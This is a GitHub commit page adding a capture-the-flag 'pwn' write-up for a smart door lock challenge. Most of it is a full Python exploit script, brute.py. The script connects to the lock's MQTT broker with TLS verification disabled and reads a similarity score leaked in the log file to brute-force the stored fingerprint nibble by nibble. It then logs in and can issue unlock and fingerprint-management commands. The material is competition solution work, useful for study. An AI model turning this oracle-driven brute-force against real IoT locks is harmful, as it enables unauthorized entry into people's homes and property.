Skip to content

Commit 9e163dc

Browse files
committed
add pwn wp
1 parent f4417fa commit 9e163dc

19 files changed

+2665
-0
lines changed

pwn-smart-door-lock/attachment.zip

28.8 MB
Binary file not shown.

pwn-smart-door-lock/brute.py

+211
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,211 @@
1+
import paho.mqtt.client as mqtt
2+
import json
3+
import random
4+
import string
5+
import time
6+
import ssl
7+
from pwn import *
8+
from threading import Event
9+
correct_finger = [29,373307,1065735249,2909012772,1932386,2933,3462545,5692838,2601798933,3102258193,32207873,36167,1274411,31737324,3369724400,30220736,2479958049,5,3612650882,4088014656]
10+
class SecureLockTester:
11+
def __init__(self,
12+
host="localhost",
13+
port=8883,
14+
ca_certs="/etc/mosquitto/ca.crt",
15+
insecure=True):
16+
self.host = host
17+
self.port = port
18+
self.ca_certs = ca_certs
19+
self.insecure = insecure
20+
21+
self.client = mqtt.Client(protocol=mqtt.MQTTv311)
22+
self._configure_tls()
23+
24+
self.client.on_connect = self.on_connect
25+
self.client.on_message = self.on_message
26+
27+
self.auth_token = None
28+
self.session_id = None
29+
self.response_event = Event()
30+
self.last_response = None
31+
self.log_content = ""
32+
self.log_changed = False
33+
34+
def _configure_tls(self):
35+
self.client.tls_set(
36+
ca_certs=self.ca_certs,
37+
cert_reqs=ssl.CERT_REQUIRED,
38+
tls_version=ssl.PROTOCOL_TLSv1_2
39+
)
40+
if self.insecure:
41+
self.client.tls_insecure_set(True)
42+
43+
def on_connect(self, client, userdata, flags, rc):
44+
print(f"status code: {rc}")
45+
46+
47+
def on_message(self, client, userdata, msg):
48+
topic = msg.topic
49+
payload = msg.payload.decode()
50+
if topic == "logfile":
51+
self.log_content += payload
52+
if "EOF" in payload and 'similarity' in self.log_content:
53+
self.log_changed = True
54+
self.response_event.set()
55+
elif topic == "re_"+self.auth_token:
56+
if "login successed. session_id: " in payload:
57+
self.session_id = payload.split("session_id: ")[1].strip()
58+
self.response_event.set()
59+
elif self.session_id != None and topic == self.session_id:
60+
self.last_response = payload
61+
self.response_event.set()
62+
63+
def wait_for_response(self, timeout=100):
64+
self.response_event.clear()
65+
received = self.response_event.wait(timeout)
66+
if not received:
67+
print("response timeout")
68+
return received
69+
70+
def generate_auth_token(self):
71+
token = "aaaaaaaaaaaaaaaa"
72+
self.auth_token = token
73+
self.client.subscribe("re_" + token)
74+
self.client.publish("auth_token", token)
75+
self.wait_for_response()
76+
print(f"auth_token: {token}")
77+
78+
79+
def login(self,finger):
80+
buf_str = '['+ ','.join([str(num) for num in finger]) + ']'
81+
self.client.publish(self.auth_token,buf_str)
82+
if self.wait_for_response():
83+
if self.session_id:
84+
print(f"login successed. sessionID: {self.session_id}")
85+
self.client.subscribe(self.session_id)
86+
return True
87+
return False
88+
89+
def lock(self):
90+
return self.send_command("lock_door")
91+
def unlock(self):
92+
return self.send_command("unlock_door")
93+
def download_log(self):
94+
self.client.publish("logger", "download")
95+
return self.wait_for_response()
96+
def clear_log(self):
97+
self.client.publish("logger", "clear")
98+
return self.wait_for_response()
99+
def add_finger(self, finger):
100+
res = self.send_command("add_finger", [finger])
101+
if res and "new finger id:" in res:
102+
return int(res.split("new finger id:")[1].strip())
103+
return -1
104+
def del_finger(self, finger_id):
105+
res = self.send_command("remove_finger", [finger_id])
106+
if res and "removed finger id:" in res:
107+
return int(res.split("removed finger id:")[1].strip())
108+
return -1
109+
def edit_finger(self, finger_id, new_finger):
110+
res = self.send_command("edit_finger", [finger_id, new_finger])
111+
if res and "changed finger id:" in res:
112+
return int(res.split("changed finger id:")[1].strip())
113+
return -1
114+
115+
def send_command(self, command, args=None):
116+
if not self.session_id:
117+
raise ValueError("login first")
118+
119+
cmd = {
120+
"session": self.session_id,
121+
"request": command,
122+
"req_args": args or []
123+
}
124+
json_cmd = b"{\"session\":\"" + self.session_id.encode() + b"\",\"request\":\"" + command.encode() + b"\",\"req_args\":" + b"["
125+
if args:
126+
json_cmd += b'"' + args[0] +b'"'
127+
if len(args) > 1:
128+
json_cmd += b','
129+
json_cmd += b'"' + args[1] +b'"'
130+
json_cmd += b']' + b"}"
131+
self.client.publish("manager", json_cmd)
132+
print(f"sent cmd: {command} {json_cmd}")
133+
134+
if self.wait_for_response():
135+
return self.last_response
136+
return None
137+
138+
def test_secure_connection(self):
139+
try:
140+
self.client.connect(self.host, self.port, 60)
141+
self.client.loop_start()
142+
time.sleep(1)
143+
print("connected")
144+
return True
145+
except Exception as e:
146+
print(f"connection failed: {str(e)}")
147+
return False
148+
149+
def brute_fingerprint(self):
150+
correct = [0] * 20
151+
152+
max_sim = 0
153+
for i in range(20):
154+
cur_str = '['+ ','.join([str(num) for num in correct]) + ']'
155+
min_sim = self.brute_test_finger(cur_str)
156+
max_sim = min_sim
157+
cur = 0
158+
for round in range(8):
159+
max_j = 0
160+
for j in range(16):
161+
new_cur = j<<(28-4*round) | cur
162+
correct[i] = new_cur
163+
buf_str = '['+ ','.join([str(num) for num in correct]) + ']'
164+
new_sim = self.brute_test_finger(buf_str)
165+
if new_sim > max_sim:
166+
max_sim = new_sim
167+
max_j = j
168+
if max_sim - min_sim > 3.5:
169+
cur = max_j<<(28-4*round) | cur
170+
if max_sim - min_sim > 4.5:
171+
break
172+
correct[i] = cur
173+
174+
print(f"Position {i} found: {correct[i]}")
175+
final_buf = correct
176+
return final_buf
177+
178+
179+
def brute_test_finger(self, buf):
180+
self.clear_log()
181+
self.client.publish(self.auth_token,buf)
182+
self.wait_for_response()
183+
self.download_log()
184+
while True:
185+
if self.log_changed:
186+
self.log_changed = False
187+
break
188+
res = self.log_content.split("%")[-1].split("\n")[0]
189+
print(res, buf)
190+
self.log_content = ""
191+
return float(res)
192+
193+
if __name__ == "__main__":
194+
tester = SecureLockTester(
195+
host="127.0.0.1",
196+
port=8883,
197+
ca_certs="src/ca.crt",
198+
insecure=True
199+
)
200+
try:
201+
if tester.test_secure_connection():
202+
tester.generate_auth_token()
203+
tester.client.subscribe("logfile")
204+
sleep(1)
205+
fingerprint = tester.brute_fingerprint()
206+
print("Correct fingerprint:", fingerprint)
207+
tester.login(fingerprint)
208+
209+
finally:
210+
tester.client.loop_stop()
211+
tester.client.disconnect()

0 commit comments

Comments
 (0)